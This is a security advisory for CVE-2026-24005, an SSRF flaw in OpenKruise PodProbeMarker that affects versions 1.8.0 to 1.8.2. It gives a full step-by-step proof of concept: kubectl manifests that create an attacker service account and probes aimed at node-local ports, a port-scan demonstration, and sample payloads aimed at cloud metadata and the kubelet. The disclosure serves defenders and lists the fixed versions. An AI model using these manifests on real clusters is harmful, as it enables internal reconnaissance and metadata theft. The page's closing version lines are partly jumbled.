github.com/openkruise/kruise
Affected
- introduced
1.8.0, fixed1.8.3(semver)
Fixed versions
1.8.3
Fix
- Fixed version
1.8.3go get github.com/openkruise/[email protected]
Advisory
Also known as: CVE-2026-24005, GO-2026-4549
OpenKruise PodProbeMarker is Vulnerable to SSRF via Unrestricted Host Field
Summary
PodProbeMarker allows defining custom probes with TCPSocket or HTTPGet handlers. The webhook validation does not restrict the Host field in these probe configurations. Since kruise-daemon runs with hostNetwork=true, it executes probes from the node network namespace. An attacker with PodProbeMarker creation permission can specify arbitrary Host values (127.0.0.1, 169.254.169.254, internal IPs) to trigger SSRF from the node, perform port scanning, and receive response feedback through NodePodProbe status messages.
Kubernetes Version
Component Version
Steps To Reproduce
Environment Setup
helm repo add openkruise https://openkruise.github.io/charts/
helm install kruise openkruise/kruise --version 1.8.0 \
--namespace kruise-system --create-namespace
kubectl -n kruise-system get ds kruise-daemon -o yaml | grep hostNetwork
Output:
hostNetwork: true
kubectl apply -f - <<EOF
apiVersion: v1
kind: Namespace
metadata:
name: tenant-a
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: attacker
namespace: tenant-a
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: ppm-creator
namespace: tenant-a
rules:
- apiGroups: ["apps.kruise.io"]
resources: ["podprobemarkers"]
verbs: ["create","get","list","watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: ppm-creator-binding
namespace: tenant-a
subjects:
- kind: ServiceAccount
name: attacker
namespace: tenant-a
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: ppm-creator
EOF
kubectl apply -f - <<EOF
apiVersion: apps/v1
kind: Deployment
metadata:
name: victim
namespace: tenant-a
spec:
replicas: 1
selector:
matchLabels:
app: victim
template:
metadata:
labels:
app: victim
spec:
containers:
- name: victim
image: busybox:1.36
command: ["/bin/sh","-c","sleep 36000"]
EOF
Exploitation Steps
NODE_CONTAINER=$(docker ps --format '{{.Names}}' | grep control-plane)
docker exec $NODE_CONTAINER curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:10248/healthz
Output:
200
kubectl -n tenant-a apply --as system:serviceaccount:tenant-a:attacker -f - <<EOF
apiVersion: apps.kruise.io/v1alpha1
kind: PodProbeMarker
metadata:
name: ppm-tcp-ssrf
namespace: tenant-a
spec:
selector:
matchLabels:
app: victim
probes:
- name: tcp-ssrf
containerName: victim
podConditionType: ssrf.kruise.io/tcp
probe:
tcpSocket:
host: 127.0.0.1
port: 10248
timeoutSeconds: 2
periodSeconds: 5
EOF
Output:
podprobemarker.apps.kruise.io/ppm-tcp-ssrf created
sleep 10
NODE_NAME=$(kubectl get nodes -o jsonpath='{.items[0].metadata.name}')
kubectl get nodepodprobe $NODE_NAME -o yaml | grep -A 20 "ppm-tcp-ssrf"
Output:
name: ppm-tcp-ssrf#tcp-ssrf
probe:
tcpSocket:
host: 127.0.0.1
port: 10248
status:
podProbeStatuses:
- name: victim-8596ff64d6-jklnb
namespace: tenant-a
probeStates:
- lastProbeTime: "2026-01-13T17:48:10Z"
name: ppm-tcp-ssrf#tcp-ssrf
state: Succeeded
Evidence: Probe succeeded, confirming kruise-daemon accessed node-local port 127.0.0.1:10248 from node network namespace.
kubectl -n tenant-a apply --as system:serviceaccount:tenant-a:attacker -f - <<EOF
apiVersion: apps.kruise.io/v1alpha1
kind: PodProbeMarker
metadata:
name: ppm-tcp-closed
namespace: tenant-a
spec:
selector:
matchLabels:
app: victim
probes:
- name: tcp-closed
containerName: victim
podConditionType: ssrf.kruise.io/tcp-closed
probe:
tcpSocket:
host: 127.0.0.1
port: 9999
timeoutSeconds: 2
periodSeconds: 5
EOF
kubectl get nodepodprobe $NODE_NAME -o yaml | grep -A 5 "ppm-tcp-closed"
Output:
- lastProbeTime: "2026-01-13T17:51:08Z"
message: 'dial tcp 127.0.0.1:9999: connect: connection refused'
name: ppm-tcp-closed#tcp-closed
state: Failed
Evidence: Failed probe with "connection refused" message enables port state differentiation for scanning.
VICTIM_POD=$(kubectl -n tenant-a get pod -l app=victim -o jsonpath='{.items[0].metadata.name}')
kubectl -n tenant-a describe pod $VICTIM_POD | grep -A 10 "Conditions:"
Output:
Conditions:
Type Status
ssrf.kruise.io/tcp True
ssrf.kruise.io/tcp-closed False
Events:
Normal KruiseProbeSucceeded 96s (x24 over 3m26s) kruise-daemon-podprobe
Source Code Evidence
File: pkg/daemon/podprobe/prober.go
func (pb *prober) newTCPSocketProber(tcp *v1.TCPSocketAction, podIP string) tcpProber {
host := tcp.Host
if host == "" {
host = podIP
}
return tcpProber{
tcp: tcp,
host: host,
}
}
File: pkg/webhook/podprobemarker/validating/probe_create_update_handler.go
func validateTCPSocketAction(tcp *corev1.TCPSocketAction, fldPath *field.Path) field.ErrorList {
return ValidatePortNumOrName(tcp.Port, fldPath.Child("port"))
}
Note: Only port validation, no Host restriction.
Attack Scenarios
Scenario 1 - Cloud metadata access:
probe:
tcpSocket:
host: 169.254.169.254
port: 80
Scenario 2 - Internal service discovery:
probe:
tcpSocket:
host: 10.0.0.1
port: 6379
Scenario 3 - Node-local kubelet API:
probe:
tcpSocket:
host: 127.0.0.1
port: 10250
Supporting Material/References
Verification Evidence
$ kubectl -n kruise-system get ds kruise-daemon -o yaml | grep -A 2 "hostNetwork"
hostNetwork: true
restartPolicy: Always
status:
podProbeStatuses:
probeStates:
- name: ppm-tcp-ssrf#tcp-ssrf
state: Succeeded
status:
podProbeStatuses:
probeStates:
- message: 'dial tcp 127.0.0.1:9999: connect: connection refused'
name: ppm-tcp-closed#tcp-closed
state: FailedLow Basis: The source's own band: LOW
1.8.0, fixed 1.8.3 (semver)1.8.3
1.8.3go get github.com/openkruise/[email protected]0, fixed 1.7.5 (semver)1.7.5
1.7.5go get github.com/openkruise/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0